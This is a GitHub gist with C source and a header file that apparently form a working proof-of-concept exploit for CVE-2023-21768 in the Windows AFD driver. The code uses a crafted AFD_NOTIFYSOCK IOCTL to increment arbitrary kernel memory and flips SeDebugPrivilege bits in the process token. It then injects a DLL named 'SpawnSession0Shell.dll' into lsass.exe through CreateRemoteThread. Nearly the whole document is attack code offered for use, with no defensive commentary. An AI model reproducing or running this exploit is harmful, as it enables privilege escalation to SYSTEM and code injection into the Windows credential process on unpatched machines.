Skip to content

Instantly share code, notes, and snippets.

@D4m0n
Last active November 16, 2023 05:07
Show Gist options
  • Save D4m0n/0d14e8b008dbdec7c1d9cfdab0df2e3c to your computer and use it in GitHub Desktop.
Save D4m0n/0d14e8b008dbdec7c1d9cfdab0df2e3c to your computer and use it in GitHub Desktop.
The Exploit PoC of CVE-2023-21768
#include "exploit.h"
#define AFD_NOTIFYSOCK_IOCTL 0x12127
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE hIoCompletionPort; // 0x0
PVOID registrationInfos; // 0x8
PVOID completionPortEntries; // 0x10
PVOID receivedEntryCount; // 0x18 AAW target
DWORD registrationCount; // 0x20
DWORD timeoutMs; // 0x24
DWORD completionCount; // 0x28
}AFD_NOTIFYSOCK_DATA;
VOID GetNtFunctions()
{
_NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
_NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
_NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
_NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
_NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if ((_NtSetIoCompletion == NULL) || (_NtCreateIoCompletion == NULL) || (_NtCreateFile == NULL) || (_NtDeviceIoControlFile == NULL) || (_NtQuerySystemInformation == NULL))
{
printf("[!] Failed to get Nt Functions\n");
exit(EXIT_FAILURE);
}
}
VOID ArbitrayAddressIncrement(LPVOID addr, ULONG inc)
{
HANDLE hCompletion = INVALID_HANDLE_VALUE;
HANDLE hSocket = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
UNICODE_STRING ObjectName = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
AFD_NOTIFYSOCK_DATA AfdData = { 0 };
if (_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, NULL) != STATUS_SUCCESS)
{
printf("[!] Failed to create IOCP object\n");
goto CLEANUP;
}
for (ULONG i = 0; i < inc; i++)
{
if (_NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, STATUS_SUCCESS, 0) != STATUS_SUCCESS)
{
printf("[!] Failed to set I/O Completion\n");
goto CLEANUP;
}
}
ObjectName.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectName.Length = (USHORT)wcslen(ObjectName.Buffer) * sizeof(wchar_t);
ObjectName.MaximumLength = ObjectAttributes.Length;
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectName;
if (_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0) != STATUS_SUCCESS)
{
printf("[!] Failed to get AFD Endpoint\n");
goto CLEANUP;
}
AfdData.hIoCompletionPort = hCompletion;
AfdData.registrationInfos = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
AfdData.completionPortEntries = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
AfdData.receivedEntryCount = addr;
AfdData.registrationCount = 0x1;
AfdData.timeoutMs = 0x1000;
AfdData.completionCount = inc;
if (AfdData.registrationInfos == NULL || AfdData.completionPortEntries == NULL)
{
printf("[!] Failed to allocate memory\n");
goto CLEANUP;
}
_NtDeviceIoControlFile(hSocket, NULL, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &AfdData, 0x30, NULL, 0);
CLEANUP:
if (hCompletion != INVALID_HANDLE_VALUE)
{
CloseHandle(hCompletion);
}
if (hSocket != INVALID_HANDLE_VALUE)
{
CloseHandle(hSocket);
}
if (AfdData.registrationInfos)
{
VirtualFree(AfdData.registrationInfos, 0, MEM_RELEASE);
}
if (AfdData.completionPortEntries)
{
VirtualFree(AfdData.completionPortEntries, 0, MEM_RELEASE);
}
}
VOID InjectDLL(LPCSTR szDllName)
{
HANDLE hProc;
HANDLE hModule;
LPCSTR lpLibFileName = (LPCSTR)"kernel32.dll";
LPCSTR lpProcName = (LPCSTR)"LoadLibraryA";
LPVOID DllPath;
SIZE_T dwBufSize = strlen(szDllName);
LPVOID lpLoadLibraryA;
HANDLE hThread;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
return 0;
}
DWORD pid = 0;
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &processEntry)) {
do {
if (wcscmp(processEntry.szExeFile, L"lsass.exe") == 0) {
pid = processEntry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &processEntry));
}
printf("[+] Target pid: %d\n", pid);
if ((hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
printf("[!] Failed to open process\n");
exit(EXIT_FAILURE);
}
if ((DllPath = VirtualAllocEx(hProc, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE)) == NULL)
{
printf("[!] Unable to allocate memory to the system process\n");
exit(EXIT_FAILURE);
}
if (!(hModule = GetModuleHandleA(lpLibFileName)))
{
printf("[!] Unable to get module handle to %s\n", lpLibFileName);
exit(EXIT_FAILURE);
}
else
{
if (!(lpLoadLibraryA = GetProcAddress(hModule, lpProcName)))
{
printf("[!] Unable to get %s\n", lpProcName);
exit(EXIT_FAILURE);
}
}
WriteProcessMemory(hProc, DllPath, (LPVOID)szDllName, dwBufSize, NULL);
if ((hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadLibraryA, DllPath, 0, NULL)) == NULL)
{
printf("[!] Failed to create remote thread\n");
exit(EXIT_FAILURE);
}
CloseHandle(hProc);
}
VOID ExploitWithTokenPrivileges()
{
HANDLE hToken = NULL;
_TOKEN* TokenAddress;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0)
{
printf("[!] OpenProcessToken: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
else
{
TokenAddress = (_TOKEN*)GetObjAddrFromHandle(GetCurrentProcessId(), hToken);
printf("[+] TokenAddress: 0x%p\n", TokenAddress);
}
// 20 0x000000014 SeDebugPrivilege
printf("[*] Setting up SeDebugPrivilege by writing a value to 0x20 bit in Token->Privileges.Present\n");
ArbitrayAddressIncrement((PBYTE)&TokenAddress->Privileges + 2, 0x10);
printf("[*] Setting up SeDebugPrivilege by writing a value to 0x20 bit in Token->Privileges.Enabled\n");
ArbitrayAddressIncrement((PBYTE)&TokenAddress->Privileges + 8 + 2, 0x10);
system("whoami /priv");
CHAR lpFullDLLPath[MAX_PATH];
GetFullPathNameA("SpawnSession0Shell.dll", MAX_PATH, lpFullDLLPath, NULL);
InjectDLL(lpFullDLLPath);
CloseHandle(hToken);
}
VOID main()
{
GetNtFunctions();
//ExploitWithIoRing();
ExploitWithTokenPrivileges();
}
#pragma once
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <psapi.h>
#include <tlhelp32.h>
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
ULONGLONG Present; //0x0
ULONGLONG Enabled; //0x8
ULONGLONG EnabledByDefault; //0x10
};
//0x1f bytes (sizeof)
struct _SEP_AUDIT_POLICY
{
struct _TOKEN_AUDIT_POLICY AdtTokenPolicy; //0x0
UCHAR PolicySetStatus; //0x1e
};
//0x498 bytes (sizeof)
typedef struct _TOKEN
{
struct _TOKEN_SOURCE TokenSource; //0x0
struct _LUID TokenId; //0x10
struct _LUID AuthenticationId; //0x18
struct _LUID ParentTokenId; //0x20
union _LARGE_INTEGER ExpirationTime; //0x28
struct _ERESOURCE* TokenLock; //0x30
struct _LUID ModifiedId; //0x38
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
struct _SEP_AUDIT_POLICY AuditPolicy; //0x58
ULONG SessionId; //0x78
ULONG UserAndGroupCount; //0x7c
ULONG RestrictedSidCount; //0x80
ULONG VariableLength; //0x84
ULONG DynamicCharged; //0x88
ULONG DynamicAvailable; //0x8c
ULONG DefaultOwnerIndex; //0x90
struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98
struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0
VOID* PrimaryGroup; //0xa8
ULONG* DynamicPart; //0xb0
struct _ACL* DefaultDacl; //0xb8
enum _TOKEN_TYPE TokenType; //0xc0
enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4
ULONG TokenFlags; //0xc8
UCHAR TokenInUse; //0xcc
ULONG IntegrityLevelIndex; //0xd0
ULONG MandatoryPolicy; //0xd4
struct _SEP_LOGON_SESSION_REFERENCES* LogonSession; //0xd8
struct _LUID OriginatingLogonSession; //0xe0
struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8
struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; //0x308
VOID* Package; //0x310
struct _SID_AND_ATTRIBUTES* Capabilities; //0x318
ULONG CapabilityCount; //0x320
struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328
struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438
struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440
struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; //0x448
VOID* TrustLevelSid; //0x450
struct _TOKEN* TrustLinkedToken; //0x458
VOID* IntegrityLevelSidValue; //0x460
struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468
struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470
struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478
struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480
VOID* SessionObject; //0x488
ULONGLONG VariablePart; //0x490
} _TOKEN;
#define TOKEN_OFFSET 0x4b8
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void* Object;
unsigned long GrantedAccess;
long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
unsigned long NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _DISPATCHER_HEADER
{
union
{
volatile long Lock;
long LockNV;
struct
{
unsigned char Type;
unsigned char Signalling;
unsigned char Size;
unsigned char Reserved1;
};
struct
{
unsigned char TimerType;
union
{
unsigned char TimerControlFlags;
struct
{
struct
{
unsigned char Absolute : 1;
unsigned char Wake : 1;
unsigned char EncodedTolerableDelay : 6;
};
unsigned char Hand;
union
{
unsigned char TimerMiscFlags;
struct
{
unsigned char Index : 6;
unsigned char Inserted : 1;
volatile unsigned char Expired : 1;
};
};
};
};
};
struct
{
unsigned char Timer2Type;
union
{
unsigned char Timer2Flags;
struct
{
struct
{
unsigned char Timer2Inserted : 1;
unsigned char Timer2Expiring : 1;
unsigned char Timer2CancelPending : 1;
unsigned char Timer2SetPending : 1;
unsigned char Timer2Running : 1;
unsigned char Timer2Disabled : 1;
unsigned char Timer2ReservedFlags : 2;
};
unsigned char Timer2ComponentId;
unsigned char Timer2RelativeId;
};
};
};
struct
{
unsigned char QueueType;
union
{
unsigned char QueueControlFlags;
struct
{
struct
{
unsigned char Abandoned : 1;
unsigned char DisableIncrement : 1;
unsigned char QueueReservedControlFlags : 6;
};
unsigned char QueueSize;
unsigned char QueueReserved;
};
};
};
struct
{
unsigned char ThreadType;
unsigned char ThreadReserved;
union
{
unsigned char ThreadControlFlags;
struct
{
struct
{
unsigned char CycleProfiling : 1;
unsigned char CounterProfiling : 1;
unsigned char GroupScheduling : 1;
unsigned char AffinitySet : 1;
unsigned char Tagged : 1;
unsigned char EnergyProfiling : 1;
unsigned char SchedulerAssist : 1;
unsigned char ThreadReservedControlFlags : 1;
};
union
{
unsigned char DebugActive;
struct
{
unsigned char ActiveDR7 : 1;
unsigned char Instrumented : 1;
unsigned char Minimal : 1;
unsigned char Reserved4 : 2;
unsigned char AltSyscall : 1;
unsigned char Emulation : 1;
unsigned char Reserved5 : 1;
};
};
};
};
};
struct
{
unsigned char MutantType;
unsigned char MutantSize;
unsigned char DpcActive;
unsigned char MutantReserved;
};
};
long SignalState;
LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;
typedef struct _KEVENT
{
struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT;
DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment